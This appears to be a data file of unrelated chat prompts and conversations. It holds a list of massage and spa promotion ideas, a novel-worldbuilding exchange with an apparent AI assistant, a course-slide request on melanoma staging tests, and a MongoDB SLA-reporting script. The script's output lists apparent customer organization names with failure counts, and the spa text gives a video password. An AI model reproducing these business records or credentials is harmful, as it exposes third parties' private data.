interact\nwith our clients, potentially all day every day, but it’s easy to run out of content. With monthly or weekly specials you will have fresh content regularly.\nBe your monthly\n3\nnewsletter content. Email your list with your specials and their benefits, add some homecare tips, and you have an easy peasy newsletter.\nKeep clients loyal. Some promotions such as service packages reward clients for loyalty and keep them coming in regularly. Direct traffic to your website. When clients know you are posting fresh specials each\n4\nmonth they will visit your website to see what is new. You can also direct traffic from social media.\n5\n50 Ideas for Massage & Spa Promotions\n\nNew Client Offers\n1. Free enhancement with any massage. Think foot scrub, back scrub, paraffin wax, or\naromatherapy.\n2. Discounted price for first visit. 3. Give out coupons for “extra\n\ntime,” for instance, 15-30\nminutes on first visit.\n4. Free take home gift with first appointment, for example, a spa sampler basket with a small body scrub, body butter and mist.\n5. Offer your regular clients to bring a friend and both get the new client discount.\nNew client offers encourage clients to try out you and your business. It’s a great way to get\nclients in the door. Be sure to wow them with excellent service, listening skills and follow up. It’s a\n\ngood idea to let your existing clients take advantage of your new client offer one time, so they don’t feel left out or shorted. You may get a little less money for one massage but your clients will really\nappreciate it and it will build loyalty. Don’t discount your new client offer too much, add some extras to add value and sweeten the deal. You want to attract clients that can afford you services regularly.\nIdeas for Monthly Specials\n6. 30 minute massage with 30 minute foot reflexology.\n7. 60 minute massage with soothing back scrub & mud mask.\n8. 75 minute massage for the price of 60.\n9. 30 minute “targeted massage” for neck and shoulders for a small discount.\n10. 60 minute massage with dry\nbrushing & herbal body wrap.\nMonthly Promotions Tips\nMonthly promotions give you a reason to communicate with all of your clients on a regular basis. They also give you something fresh and new to promote each month, instead of discounting your regular prices.\nRecommendations\n• Monthly promotion can be as simple as a special essential oil\n\nblend or as big as launching a whole new line of body\ntreatments.\n• Short enhancement services, such as a foot scrub, are easy to incorporate into monthly\npromotions.\n• Clients will love seeing what is \\*new\\* at your office.\n• Incorporate a special (non alcoholic) beverage or small take home gift with your promotion.\n\nIdeas to Keep\nClients Coming in Regularly\n11. Buy 5 massages get one free. 12. Buy a 10 “pack“of massages with a $10-$15 discount on each one. 13. Re-book today and get a discount.\n14. Give “points” for every dollar spent redeemable for services, products or discounts.\n15. Give spontaneous freebies like enhancements, extra time or\n\nsmall take home gifts to regular clients.\nPrepaid Package Tips\nPrepaid massage session packages in fact are money in the bank, but are you using them to your best advantage? Check out my pros and cons and learn how to make yours a money maker instead of a hassle. Pros\n• Cash upfront. This is money you can use to pay your monthly expenses, and budget for your\nbusiness. This is especially true if you sell packages of 10 sessions. • Clients who buy packages of 10 sessions usually book regular or standing appointments.\n• Some prepaid clients are more likely to purchase upgrades and retail. They aren\'t spending any "real" money when they come in so it doesn\'t feel like as much to upgrade.\n• Prepaid services create client loyalty! Sometimes it can feel like\nthere is a massage therapist on every corner giving a discount. If you have already paid for\nsessions somewhere, that is YOUR massage therapist!\nCons\n• You will have times when there is a lot of money coming in and times when it feels like you are working for free. You will have to have a budget and a plan!\n• If for some reason it\'s not working out with a client, you are kind of\nstuck with them through the end of the package. Exception:\nextreme cases such as\ninappropriate behavior, then just send a refund and out they go! • People will try to push your boundaries, they will want\nrefunds, gift certificates and all kinds of exceptions made for them! To me the advantages of prepaid packages far outweigh the disadvantages. I prefer to give a bigger discount $10-$15 for\npurchasing 10 sessions. This sells better than a $5 discount in my area. $5 is hardly worth worrying about anymore, clients are\nlooking for value.\nAvoid problems when selling Massage Session packages, with these tips.\nMassage service packages can greatly enhance your business and income. Packages reward and encourage clients to receive regular\nmassage, and provide steady income for the massage therapist. When planning your package program be sure to figure out your policies and procedures to avoid any misunderstandings with clients.\n• Will you sell packages of 3, 5, 10 or more massages? I prefer prepaid over buy 5 get a freebie. I think you will see clients more regularly with everything paid for up front.\n• What tracking system will you use\nto keep up with massages used and massages left to use. Will clients need to sign for each session?\n• Will packages be “sharable” if so with how many other people? Family only?\n• Will you issue gift certificates on package massages? For example Mrs. Smith would like to get her daughter a gift certificate. Can she use up one of her prepaid\nservices?\n• Will the sessions ever expire? • What is your refund policy if someone is moving away or changes their mind?\n• Will clients be able to use their massages on other services? For example a client would like to use a one hour massage on a hot stone massage, will they pay the difference between the regular price and the hot stone or the between the package price and the hot stone?\n• What is your cancellation policy and will package massages be forfeited in the case of a no show or last minute cancellation?\n\nIdeas for Gift Certificate\nPromotions\n16. Buy 3 Gift Certificates and Get 1 for yourself!\n17. Team up with an esthetician or nail tech to offer packages. 18. Couples massage for\nValentine’s Day, Wedding or Anniversary present with take home gift.\n19. “Sampler” package with a 30 minute massage, 30 minute\n\nreflexology and a 30 minute “facial massage treat” (facial massage and hydrating mask).\n20. “Day Package” with three 60 minute services (massage, reflexology, body scrub, wrap, or several enhancements) with lunch included to break up the services.\nGift Certificate\nMarketing Tips\n\uf06b Think about who will be buying your gift certificates and target your\n\nmarketing to them. These are not necessarily people who would get a massage themselves. Basically, go where the men go!\nFact: Men buy massage and spa gifts for the ladies in their lives.\nMake a nice flyer and put it\neverywhere you think the guys are. Hit the manly gym, hardware store, the barber shop, the fire\ndepartment, you get my drift. I make a mini-flyer and put it everywhere!! An easy format is to\n\nget 4 copies per page then just get it cut at the printers. This is similar to what I am talking about here in this video: Rack Cards.\n\uf144\nI also include this kind of flyer in a holiday card that I mail to all active clients.\n• Make your gift certificate pretty, and add some little extras. • You could do a pretty gift bag complete with tissue paper and a\n\ngift tag. Add a few chocolates and a small product or product\nsamples. You could provide a gift box and let the gift giver pick a card to go with it.\n• Hit the $1 store to stock up on your wrapping supplies. This makes it super easy for people to buy from you and they will remember and talk about your extras!\n• Check out my 5 minute video on Gift Certificate Packaging\n\n\uf144\n(password: bootcampgc)\n• Sell online Massage Gift\nCertificates!! If you don’t, you are missing out. Wouldn’t you love to wake up in the morning and find out you made $ while you were sleeping? I like Spaboom or Gift Card Cafe, but there are many good services for this.\n• Make sure you direct people to your online store by having the\n\ninformation on your voice mail message, studio door, and all over your website.\n• Have something for every budget.\nI like to start in the $40-$50 range for kids buying for mom and those on a tight budget and go all the way up to a $300-$400 “spa day” package. Include 4-5 options in different price ranges. The\npackages in the middle will sell the best. Combine your services with Spa Enhancements to make some\n\nreally unique packages.\nGift Certificate Checklist\n✔Cardstock or pretty paper ✔Envelopes\n✔Tissue paper\n✔Gift bags\n✔Note cards (or holiday cards) ✔Tracking system (paper or computer)\n✔Extra treats (Chocolate, Tea, Product Samples or Small Products)\n\nIdeas for Holiday Specials\n21. Hot stone massage add-on with any service.\n22. Seasonal treats like pumpkin scrubs, peppermint foot treat, or vanilla massage oil.\n23. “12 Months of Spa” package with a treatment each month for a year. Great high end offer!\n24. 30 minute services like a 30 minute massage with paraffin wax for those on a budget.\n25. Small aromatherapy gift basket and gift wrap with any Gift\nCertificate purchase.\n\nAdditional Ideas for Specials\n26. Offer a free consultation and 15 minute trial (or longer).\n27. Offer a membership program with discounts and extras for your members.\n28. 60 minute Massage and Paraffin Wax (hands or feet). 29. 45 minute Tension Tamer Massage (Neck, back, and\nshoulders with Arnica oil).\n30. 30 minute Massage with\naromatherapy and a foot scrub. 31. 30 minute Massage with 30 minute Hydrating Facial\nTreatment.\n32. 75 minute Hot Stone Massage at a special price.\n33. 30 minute reflexology\ntreatment with a hair and scalp treatment mask.\n34. Reflexology foot massage followed by a foot scrub and paraffin wax 45 min-1 hr.\n35. Aromatherapy facial massage\nwith paraffin wax treatment for hands and feet.\nThemed Ideas\n36. Summer Specials: with coconut, papaya, mango and other\ntropical scents & products.\n37.Rose Theme: rose petals on the table, rose scented oil, and a rose scented candle. Check out great ideas for decorating your massage table on YouTube:\n38. Spring Flowers Theme: with lavender foot soak, lavender\nmassage oil, and lavender in the diffuser. You could also use different floral blends.\n39.Spring Detox Theme: with body brushing, citrus oils and a detox wrap. Serve up some cucumber or lemon water after the\nsession.\n40. Peppermint Twist (great for winter): add a peppermint foot scrub and lotion at the end of any massage session. You could also add a little peppermint to\nan aromatherapy diffuser and give peppermint tea or candies after.\nIdeas for Guys\n41. Sports Massage: create special treatments targeting the\ndifferent muscle groups used in different activities.\n• Golfer’s massage\nconcentrating on the muscles used to swing a golf club\n• Massage for runners or bikers concentrating on legs and\nback, or massage for recovery • Post Weekend Warrior\nMassage: Include arnica oil,\n\nand application of Biofreeze or Heat cream.\n• Of course women can get these specials too!\n42. Tension Tamer Special: targeted back massage, heat packs, and a stress reducing back mask.\n43. “Executive” or “Select” men’s massage services with essential oils such as cedar wood,\nlemongrass, balsam fir, or valor blend. Add hot towels for the\n\nback and feet and dry body brush for dry skin.\n44. Treat the feet with a\nlemongrass foot scrub, detailed foot massage, and paraffin wax or shea butter mask for the feet. This is good because some men\nare hesitant to try a full body service on their first visit. Add hands too for a longer service.\n45. Deluxe Stress Break: Re energize your tired feet and legs with a relaxing foot soak,\ninvigorating lower leg and foot exfoliation, refreshing mint mask, and relaxing foot\nmassage followed by a 30 minute stress melting targeted back and neck massage.\nOther Promotions\n46. Offer “Mini” services for kids, or kids’ spa parties.\n47.Offer Spa Parties in your space, or if you don’t have enough room, offer them as outcalls. You might want to team up with other service providers\n(estheticians, nail techs, make up artists) to offer multiple\nservices and more variety. Check your state board rules to see what can be offered in homes.\n\n48. Have a few businesses where you can regularly offer chair massage to meet people and promote yourself. Not FREE chair massage. This is a win-win for the other business too\nbecause people will come for the chair massage and shop or have other appointments while they are there.\n49. Send a coupon to clients for a free enhancement and/or gift with a massage during their\nbirthday month.\n50. Offer a special service for mothers and moms-to-be during May. Offer special services for father’s and fathers-to-be during June.' -'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' -'Continue the course on the next slide building the slides and the transcript with the following content: Blood tests\nS100B, MIA, LDH blood tests for initial staging\nTwo small studies were identified assessing the diagnostic accuracy of either p-proteasome, MIA, S-100B, or LDH for melanoma metastases.[22][23] In the first study of 53 clinical stage I-II melanoma patients, 68 stage III-IV patients and 40 healthy volunteers, plasma samples were obtained before definitive surgical excision or treatment and followed for a median of 17 months. Reference standard positive patients were a mixture of patients with clinical stage III/IV disease at the outset and patients with clinical stage I/II who then developed metastases during follow-up (detected through clinical examinations and imaging tests). Likewise reference standard negative patients were a mixture of healthy volunteers and patients with clinical stage I/II disease who did not develop metastases during follow-up. Within the limitations of the substantial spectrum bias arising from the selection of the study population which was not limited to asymptomatic stage I/II patients, the area under the receiver operating curves (ROC) for p-proteasome and S100B were the highest (0.81,and 0.82 respectively), whereas LDH and MIA showed lower values (0.79, and 0.72 respectively).[22] In the second study, of 87 stage I/II patients, 71 stage III/IV patients and 50 healthy volunteers, serum concentrations were measured before surgery.[23] The reference standard was again a composite of clinical exams and imaging tests to define whether or not the patient had stage III/IV disease at either the outset or during a median of 32.8 months follow-up. The authors reported that a cut-off value for MIA of 9.4 ng/ml, had 77% sensitivity and 94% specificity for the detection of stage IV disease. Among the 87 patients with stage I/II disease after imaging, 66% of those with MIA serum values greater than 9.4 ng/mL developed regional or distant metastases during follow-up , while 5% of those with values below this threshold developed metastases.[23]\n\nStandard blood tests for initial staging and follow-up (e.g. electrolytes, urea, creatinine, liver function tests [LFTs], full blood count [FBC])\nEvidence from previous guidelines states the routine use of standard blood tests rarely identifies occult stage IV disease in patients presenting with stage I or II melanoma and is not recommended. See [ANZ Melanoma guidelines]. These tests are not new and were therefore outside the scope of the current systematic review and guideline.\n\nS100B, MIA, LDH blood tests during follow-up\nAs a tumour marker, S100B displays a sensitivity of 86–91 %, specificity[24][25] and may portend recurrence, however there are no data demonstrating superior survival outcomes for patients undergoing routine S100B testing in follow up. The use of serum LDH or melanoma-inhibitory activity (MIA) protein in follow up for the detection of asymptomatic melanoma recurrence has been reviewed by Fields and Coit.[26] Abnormal blood tests were rarely the first sign of metastases. Low sensitivity, specificity, and accuracy for general laboratory profiles make them ineffective in the detection of subclinical recurrence and their roles are yet to be defined.\n\nInvestigations for stage I-II patients with no sentinel node biopsy (ie. declined or patient unfit)\nUltrasonography for initial staging\nFor situations where SLNB has been declined or is not possible for technical reasons or patient co-morbidities, ultrasound monitoring may be considered, however 4 studies have shown poorer accuracy (both sensitivity and specificity) compared to SLNB[27][28][29][30], and so the latter is preferred whenever feasible (see chapter on SNLB). No studies were identified in patients who were not eligible for SLNB.\n\nIn three of the studies assessing ultrasonography against a reference standard of SNLB, the sensitivity of ultrasound ranged from 13% to 71%; the specificity from 57% to 97%[27][28][29]; and in two studies the positive predictive value ranged from 37% to 97%, while the negative predictive value ranged from 13% to 84%.[27][29] In one study that assessed a particular ultrasound characteristic (the echo free island) the sensitivity was 11%, the specificity 98%, the positive predictive value was 50% and the negative predictive value was 80%.[30]\n\nOne small study compared high resolution ultrasound (HRUSS) with PET/CT against a reference standard of SNB in 20 patients with clinically stage I/II disease.[16] HRUSS correctly identified two of 12 patients with positive SLNs whereas PET/CT imaging identified none; both imaging tests correctly identified all 12 patients with negative SLNs.[16]\n\nUltrasonography during follow-up\nThe usefulness of ultrasonography for follow-up of patients treated for Stage I/II melanoma depends entirely on the technical skill and experience of the personnel involved. There is a consensus of opinion that ultrasound is superior to clinical examination of regional lymph nodes, although its survival advantage is unproven.[31] A prospective cohort study of 373 patients with a primary tumour Breslow thickness of ≥1.5mm[32], reported a sensitivity of 93% for ultrasound compared with only 71% for the clinical examination of regional lymph nodes. Their specificity was equally high for both procedures (>98%). Despite the superiority of ultrasound, very few patients actually benefited from the addition of ultrasound to clinical examination. The reasons cited for this were that although ultrasound was useful in the earlier detection of regional disease or avoidance of unnecessary surgery in 7% of patients, 6% had deleterious effects such as unnecessary stress caused by repetition of ultrasounds for benign lymph nodes or useless removal of benign lymph nodes.[32] Thus in sum, in only 1% of patients was the use of ultrasound advantageous.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy for initial staging\nOne prospective study assessed whether the combination of ultrasound and fine needle biopsy could be used as a ‘triage’ test for SLNB in 107 asymptomatic patients with clinically stage I/II melanoma.[33] Using this test strategy, only two patients had final positive results, of which one could not be confirmed on histopathology (possible false positive) and the other was confirmed (true positive). Of the 105 patients who were negative on ultrasound +FNA, 36 were false negatives (nodal metastases found on SLNB), and 69 were true negatives.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy during follow-up\nFNA is the current standard method to confirm the presence of suspected nodal metastases for lymphadenopathy identified after definitive local treatment of cutaneous melanoma.[34][35] Ultrasound guidance should be used as the diagnostic yield is superior, particularly for small lymph nodes <10mm in size. Core biopsy has higher sensitivity and specificity compared with FNA and should be considered where FNA is negative but clinical suspicion remains high. There is no role for routine lymph node biopsy during follow up of asymptomatic patients.[36]\n\nOther investigations during follow-up\nSkin Self-Examination\nA review of 9 clinical practice guidelines by Marciano et al (2014)[37] reveals consensus that patients should be taught skin self-examination; this was based on retrospective evidence from several studies that recurrences were commonly first detected by patients. For this recommendation, 4 guidelines varied in evidence content while 5 guidelines provided consensus opinion only. Education on sun-smart behaviour was recommended by 4 guidelines.[37]\n\nSuccessfully implementing self-examination requires patient education on whole-body skin examination with particular attention given to melanoma surgical scars and the corresponding lymphatic drainage areas for in-transit and lymph node recurrence. Patients should also be given education regarding symptoms that may warrant further investigation, such as pain, fatigue, weight loss, nausea and vomiting, dyspneoa, and headache. In addition, the use of brochures or videos, and the engagement of relatives in the education process may be helpful.[38][39][40] Randomized controlled trials do not exist. In Australia, patients themselves detect up to 75% of recurrences, while in other countries this can be as low as 20%.9-13 These data highlight the fact that even with education, there are great differences in patients’ individual ability to detect recurrences.[40]\n\nHistory and physical examination during follow-up\nThere is general consensus that the most cost-effective component of a strategy resulting in the detection of the majority of recurrences is careful history taking and physical examination. The detection of distant metastases in patients with early localised disease is unusual.\n\nAs with self-examination, history and physical examination include specific history taking, a full skin examination looking for new primaries, palpation of melanoma surgical scars, and lymphatic drainage areas for in-transit and lymph node recurrence. Apart from patient self-detected relapses, most relapses and secondary melanomas are detected during physical examinations.[41][42] In a large prospective study12, roughly 50 % of recurrences were identified by history taking/physical examination, 80 % of which were local recurrences, in-transit metastases, and regional lymph node metastases.[41] Indeed, the vast majority of operable recurrences (96%) are those detected by physical examinations.14 In summary, history and physical examinations for patients with stages I–III melanoma are the most effective procedure for early recurrence detection.[43][8]' -'I have a JS script that outputs human readable statistics about the health of some orgs:\n\n var resellers = db.reseller.aggregate([\n { $match : {$or : [\n { $and : [ {"trialRecord" : {$exists : false}}, {"approved" : true} ] },\n { $and : [ {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"converted"}, {"approved" : true} ] },\n { $and : [\n {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"active"}, {"approved" : true},\n { $or : [ {$and : [{"trialRecord.expirationDate" : {$exists : true}}, {"trialRecord.expirationDate" : {$gte : (new ISODate())}}]}, {"trialRecord.expirationDate" : {$exists : false} }] }\n ]}\n\n ]}},\n {\n $group: { \\_id: "$\\_id"}\n }\n ]).map(function(r) { return r.\\_id; });\nvar activeOrgs = db.organization.aggregate([\n { $match : {$or : [\n { $and : [ {"reseller" : {$exists : false}}] },\n { $and :[{ "reseller.$id" : {$in : resellers} } ]}\n ]}},\n {$match : { "providers.0" : {$exists : true}}},\n {\n $addFields: {\n totalActiveProviders:\n {\n $size: { $filter: {\n input : "$providers",\n as: "p",\n cond : { $and :[ {$eq : ["$$p.disabled", false ]}, {$eq : ["$$p.inTrial", false]}, {$eq : ["$$p.approved", true]} ]} } }\n\n }\n }\n },\n { $match : { "totalActiveProviders" : { $gte : 1} } },\n { $group: { \\_id: "$\\_id"} }\n ]).map(function(r) { return r.\\_id; });\nvar orgContainers = db.container2.aggregate([\n {$match : {$and: [\n {"organizationId": { $in :activeOrgs}},\n {"selected": true},\n {"connectorEnabled": true},\n {"providerEnabled": true},\n {"status" : "ACTIVE"},\n {"initialScanDone" : true},\n {"lastScanCompleted" : {$exists: true}},\n {"containerId.connectorId": {$in: ["gsites","gcontacts","gcalendar","gmail","gdrive","gshareddrives","office365contacts","office365mail","office365calendar","office365sharepoint20","office365onedrive20","office365archive"]}}\n ]}\n },\n {$match : {$or: [\n {"slaMet" : { $not: {$eq: true}}},\n {"lastScanCompleted" : { $not: {$gte: (new Date().getTime() - 1000 \\* 3600 \\* 24)}}},\n ]}\n },\n {$group: {\\_id: "$organizationId", total: {$sum: 1} }\n },\n { $sort: { total:-1}}\n]);\n\nvar sum = 0;\norgContainers.forEach(function(doc) {\n print(doc.\\_id + " " + doc.total);\n sum= sum + doc.total;\n});\nprint("TOTAL SLA FAILED: " + sum); \n\nit outputs stuff like\n\nMongoDB shell version v4.4.12\nconnecting to: mongodb://127.0.0.1:27017/cloudfinder?compressors=disabled&gssapiServiceName=mongodb\nImplicit session: session { "id" : UUID("2bef6f94-4c05-4284-9e27-9e04d67305ec") }\nMongoDB server version: 4.4.12\nintapp 10042\nadtechsystems 7956\nqubiqa 2861\nklarna 343\nsandlandpackaging 71\npmtank 53\npeabodyarnold 38\nnoterman 23\nmbkemp 17\nnanomagic 16\nbygg 14\nnfrnet 14\nbaptisthealthsysteminc 12\nnutritech 11\nnishna 10\nthelawofficesofdanielkim 10\nitformule 9\nmkmdistributionservices 9\nmillerzeiderman 9\nsmithandbrink 8\nhaleyolsonpc 8\nitconsecltd 8\nmiraclefeet 8\nlchvandendriestrb 8\nculinaryschooloffortworth 7\nadvisornetfreedomfinancial 7\njnbafinancialadvisors 7\nstjosephtheworker 7\ndsflooring 7\nsujajuice 7\neykt 7\npalatineruralfiredepartment 7\ntimemanagementsystems 7\nassetbasedlending 6\ndioceseofmonterey 6\npcc 6\nsoknlogmannsstofaehf 6\nmontereybaycommunitypower 6\nalares.es 6\npri 6\nfringebenefit 6\nperformanceconnectivityinc 6\nspecialistconservatoryroofsystems 6\nfostar 6\nncchild 5\ndpp 5\navalonenterprise.com 5\ncuraterrae 5\nnorthweldcountywaterdistrict 5\ngreatersiouxfallschamber 5\numhs 5\ntrianglewarehouse 5\nhvankeppel 5\nwesternleisureservices 4\npipepiling 4\nremaxintegrity 4\nredrockpartnership 4\nalexprod 4\nymcalcan 4\nagingcareadvocates 4\nmontereysalinastransit 4\nparticipantmedia 4\nyouthbuild 3\ncadigal 3\nhovlandrasmus 3\ndyminsteelwest 3\niib 3\nbriarwoodpresbyterianchurch 3\ncapitalletters 3\ncrabelcapitalmanagement 3\nnovocustomltdnfr 3\nppoconnorltd 3\nhirstapplegate 3\npropercontent 3\ncompletestructural 3\nbigsurlandtrust 3\nneurologiceurope 3\nakkonsultcom 3\ndesmondahern 3\nnotredamehighschool 3\nsabrestrategies 3\nflagzonellc 3\nlynchcarpenterllp 3\nscullytwiss 3\nbulleyscharteredsurveyors 3\nmckenzies 3\nefolder 3\nonepennsylvania 3\nnorthrockpartners 3\nweisgroup 3\nleacockpaving 3\nalignjv 3\nmg2group 3\nspecialtours 2\nmmh 2\nrecyclingsolutions 2\nmissionfirst 2\ninclinemanagementlp 2\nnjscreenprints 2\nprattfeedersks 2\ndjassociates 2\nnuura 2\nitcosolutions 2\nhannahs 2\nsupermesafuelmercllc 2\nnordoffrobbins 2\npattersonlawfirm 2\nmilesbetterheatinglimited 2\ninvisikcorporation 2\nrotthegewassermann 2\nbostonmeridian 2\nmeshedtechnology 2\nhandpickedhotels 2\ncommunityfoundationofnortherncolorado 2\nurbanhomeworks 2\nsatterleypropertygroup 2\nconnectingpoint119598 2\nbtmegroup 2\naccidentrepairmanagementarm 2\ndaviddrewtransportation 2\nhardwickandsons 2\nestesvalleyfireprotectiondistrict 2\nwiandlaw 2\ntritoncomm 2\nipgl 2\nhartness 1\ncytrellis 1\nsouthernnewenglandcovnerenceucc 1\nminerals260 1\nbitsmartitinternal 1\ncityofpetaluma 1\nturnerservices 1\nstratiis 1\nfranciscoandassociates 1\nleveywagleyputmaneccherpa 1\nwinchestermotorgroup 1\ndsgp 1\nthetnsgroup 1\npactone 1\ngreenacrerecycling 1\nfirselross 1\nfisherbrothersexteriors 1\nvertechitservices 1\nintivix 1\nxitechnologiesinc 1\nthomaslavininc 1\nmetalsolutions 1\nhighpoint 1\nptservicesgroupinc 1\nperfectstaysltd 1\nbosmachine 1\ncroudacedietrichpc 1\nelecsisltd 1\njmg 1\nmodini 1\neurocepthomecare 1\nstaffmore 1\nzuken 1\npinsonvalleyheattreating 1\nairatlanta984313 1\nlerospointtopoint 1\ncoopgrain 1\nbfa 1\nliontown 1\nadvisornetalignedwealthplanning 1\ngreengageagritechltd 1\nmetalsx 1\nsightcenter 1\nthomson 1\nmechanicalsystems 1\neos 1\nsecufogo 1\nnewlifebible 1\namericanbanktrust 1\nunitedwayofweldcounty 1\nfloorcleaningmachines 1\naquilatruckcentre 1\nlaramiepeakmotors 1\nanthonyandpartners 1\necssynergysa 1\nkaupthing 1\nwarrenpartners 1\nmagicbreakfast 1\nwestteksolutionsltdnfr 1\njohnrwhite 1\nmmachelassociatesltd 1\nadvisornetderuyterbell 1\nbarwonneurology 1\ncarmelvalleymanor 1\nnppc 1\nbritanniabureau 1\nbrowninsurance 1\nhahnfeld 1\nzenorkuehnerplc 1\ntheinstituteforstatecraft 1\neurov 1\ninstallamerica 1\nfirstbank 1\nsoundfinancialmanagement 1\nnewhorizonyouthcentre 1\norigohf 1\nepiscopaldioceseofalabama 1\nmanchesterfluid 1\namericanantiquariansociety 1\napi 1\nsurelinecommunicationsltdnfr 